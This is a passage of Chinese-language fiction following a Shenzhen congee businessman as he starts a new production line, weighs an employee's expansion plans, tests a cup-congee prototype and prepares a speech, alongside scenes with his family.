“都是老板教得好。”黄秀英不好意思地笑笑,“老板,我想……我想在佛山也开一家。”
“这么快?”
“佛山离广州近,工人也多。”黄秀英说,“而且我有经验了,知道怎么做。”
陈永福沉默了一会儿。黄秀英的步子迈得太大,他担心。
“秀英,稳一点。先把广州这两家店做好,再去佛山。”
“可是机会……”
“机会永远有,但命只有一条。”陈永福说,“你太拼了,要注意身体。”
黄秀英低下头:“老板,我……我想多挣点钱,把我爸妈接来。”
“接来是好事,但不能急。”陈永福说,“钱慢慢挣,日子慢慢过。”
“嗯。”
吃完饭,雨停了。陈永福开车回深圳。路上,他一直在想黄秀英的话。广州市场大,机会多,但风险也大。他该放黄秀英去闯,还是拉着她?
不知道。
回到深圳,天已经黑了。雨又下起来,淅淅沥沥的。工厂里灯火通明,赵工带着工人在加班调试机器。
“陈老板,回来了?”赵工满头是汗,“调试好了,可以试生产了。”
“这么快?”
“赶出来的。”赵工说,“但陈老板,我得提醒你,这机器还没完全调好,可能会有小问题。”
“能生产就行。”
试生产开始。机器启动,轰鸣声在车间里回荡。米从这边进去,经过一道道工序,最后变成包装好的粥料。速度比旧生产线快一倍。
第一箱产品下线,陈永福拆开一包,煮了尝。味道没问题,包装没问题。
“赵工,辛苦了。”
“应该的。”赵工擦擦汗,“陈老板,尾款……”
“明天打给你。”
“好,好。”
赵工走了。陈永福站在生产线前,看着机器运转。新生产线投产,产能上来了,香港的订单能赶上了。但他心里不踏实,总觉得太快了,像在跑,停不下来。
回到家,已经晚上十点。林玉兰还没睡,在等他。
“怎么这么晚?”
“广州去了趟,工厂调试机器。”陈永福脱下雨衣,“孩子们睡了?”
“睡了。”林玉兰端出热汤,“喝点,去去寒。”
汤是排骨莲藕汤,炖得烂烂的,入口即化。陈永福喝了一大碗,身上暖和了。
“玉兰,黄秀英想在佛山开店。”
“这么快?”
“嗯,她说机会好。”
“你怎么想?”
“我让她稳一点。”陈永福说,“可我也知道,机会不等人。”
林玉兰在他旁边坐下:“阿福,秀英那孩子,像当年的你。敢闯,敢拼。你该让她去。”
“我怕她摔跟头。”
“摔了才知道疼,才知道怎么站起来。”林玉兰说,“你当年不也摔过?老街拆迁那会儿,你几天几夜睡不着。”
是啊,陈永福想起老街拆迁的时候。那时候觉得天要塌了,现在回头看,不过是个坎。过了坎,路更宽。
“你说得对。”陈永福握住她的手,“玉兰,有你在,我心里踏实。”
“傻子。”林玉兰靠在他肩上,“睡吧,明天还要早起。”
第二天,雨还在下。陈永福去银行给赵工打尾款,又还了这个月的贷款。账上的数字又少了一截。
从银行出来,他去了街道办。张主任在办公室,看见他,热情招呼。
“陈老板,正想找你呢。”
“张主任,什么事?”
“市里要开个体经济座谈会,点名要你去发言。”张主任说,“这回是市领导主持,机会难得。”
“我……我不会说话。”
“上次不就说得很好?”张主任笑,“陈老板,别谦虚。你现在是典型,要发挥作用。”
“什么时候?”
“下周三。”
陈永福算算时间,还有五天。
“行,我去。”
“好,我让人把会议材料送你。”张主任说,“陈老板,好好准备,这可是露脸的机会。”
从街道办出来,陈永福想,又是开会,又是发言。他不喜欢这些,但推不掉。他现在是“典型”,是“榜样”,要承担这些。
回到工厂,小林兴冲冲地来找他。
“陈老板,杯装粥的样品做出来了,您看看。”
实验室里,几个纸杯摆着。杯身上印着“家香即食粥”,有卡通图案。打开杯盖,里面是米粉和料包。
“怎么吃?”
“加热水,泡三分钟。”小林说
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,“我试过了,味道还行,但不如煮的好。”
陈永福泡了一杯。三分钟后,揭开盖子,粥成糊状,味道一般,有股塑料味。
“这味道……”
“杯子的味道,没办法。”小林说,“陈老板,我觉得杯装粥方向不对。咱们的粥要煮才好喝,泡的不行。”
陈永福也这么觉得。但他想起郑文达的话:方便,年轻人喜欢。
“先放放,再研究。”
“好。”
从实验室出来,陈永福去车间。新生产线运转正常,工人两班倒,二十四小时不停。一箱箱产品堆在仓库,等着发货。
父亲在仓库里,戴着老花镜,对账本。
“阿爸,歇会儿。”
“不累。”父亲抬起头,“永福,这新生产线出得真快,一天能出多少?”
“两万包。”
“两万……”父亲算了算,“那得卖多少才能回本?”
“慢慢卖,总能卖完。”
“就怕卖不完。”父亲合上账本,“永福,阿爸不懂生意,但懂种地。种地要看天,看地,看种子。生意也一样,要看市场,看人,看货。你不能光顾着出,不顾着卖。”
陈永福点点头。父亲的话朴实,但有道理。
“阿爸,我知道了。”
“知道就好。”父亲站起来,“走,吃饭去。”
食堂里,工人们正在吃饭。看见陈永福来,都打招呼。饭菜简单,一荤一素,但管饱。父亲打了饭,跟工人们坐一桌,边吃边聊。
陈永福在另一桌坐下。小林端着饭过来。
“陈老板,儿童粥的市场反应来了。”小林拿出几张纸,“超市那边说,卖得一般。家长嫌贵,一包要四毛,够买两个馒头了。”
“降价呢?”
“降到三毛五,可能好点。”小林说,“但我算了,三毛五利润太薄,划不来。”
“先降,把市场打开再说。”
“行。”
吃完饭,陈永福去店里。罗湖店生意照常,南山店、福田店也没问题。王建军把“粥友俱乐部”的卡片设计好了,红色的卡片,印着“家香粥友”,背面是十个小格子,盖满章送一碗粥。
“老板,您看行吗?”
“行,印吧。”
“印多少?”
“先印一千张。”
“好。”
从店里出来,雨停了。太阳从云缝里露出来,照在湿漉漉的街上,反着光。陈永福慢慢走回家。路上,他看见几个孩子在玩水,踩着水坑,嘻嘻哈哈。他们的父母在旁边看着,笑。
他想起了□□小时候,也爱玩水。现在长大了,不玩了,整天看书学习。时间真快。
回到家,□□在做作业,晓梅在学步车里摇摇晃晃地走。母亲在厨房做饭,林玉兰在收拾屋子。
“回来了?”林玉兰问。
“嗯。”
“洗手吃饭。”
饭桌上,□□说:“阿爸,我们老师说要写作文,题目是《我的爸爸》。我写你了。”
“写我什么?”
“写你熬粥,写你开工厂,写你辛苦。”□□说,“老师说写得好,要贴在墙上。”
陈永福心里一暖:“你阿爸没什么好写的,就一个熬粥的。”
“熬粥的怎么了?我们班王小军他爸是科长,我觉得还没你厉害。”□□认真地说,“你能开工厂,他能吗?”
大家都笑了。
“吃饭吃饭,别说了。”母亲夹菜,“永福,多吃点,看你瘦的。”
吃完饭,陈永福帮□□改作文。作文写得朴实,但真情实感。写到父亲深夜还在工厂,写到父亲的手粗糙但有力量,写到父亲说“要对得起每一碗粥”。
陈永福眼睛有点湿。儿子懂事了。
“建国,写得很好。”他说,“但阿爸没你说的那么厉害。”
“你就是厉害。”□□坚持,“阿爸,我长大了也要像你一样。”
“像阿爸干嘛?阿爸就是个熬粥的。”
“熬粥怎么了?能养活一家人,能帮那么多人,就是厉害。”
陈永福摸摸儿子的头,说不出话。
夜深了,孩子们睡了。陈永福坐在书桌前,准备座谈会的发言稿。这次他不打算念稿子了,想讲真话。讲他怎么来深圳,怎么熬粥,怎么开店,怎么开工厂。讲他的困惑,他的压力,他的希望。
他写得很慢,一笔一画。写到老街的老榕树,写到第一个客人,写到拆迁,写到父亲来深圳,写到黄秀英,写到王建军,写到郑文达,写到林玉兰,写到孩子们。
写着写着,他发现自己不是在写发言稿,是在写自己的人生。
这一路,有苦有甜,有笑有泪。但值得。
窗外,雨又下起来了。淅淅沥沥的,像在伴奏。
陈永福放下笔,走到窗前。深圳的夜雨,温柔而坚定,像这座城市,像这里的人。
他知道,前路还长,雨还会下,坎还会有。
但他不怕了。
有家,有粥,有深圳。
睡吧,明天还要早起熬粥。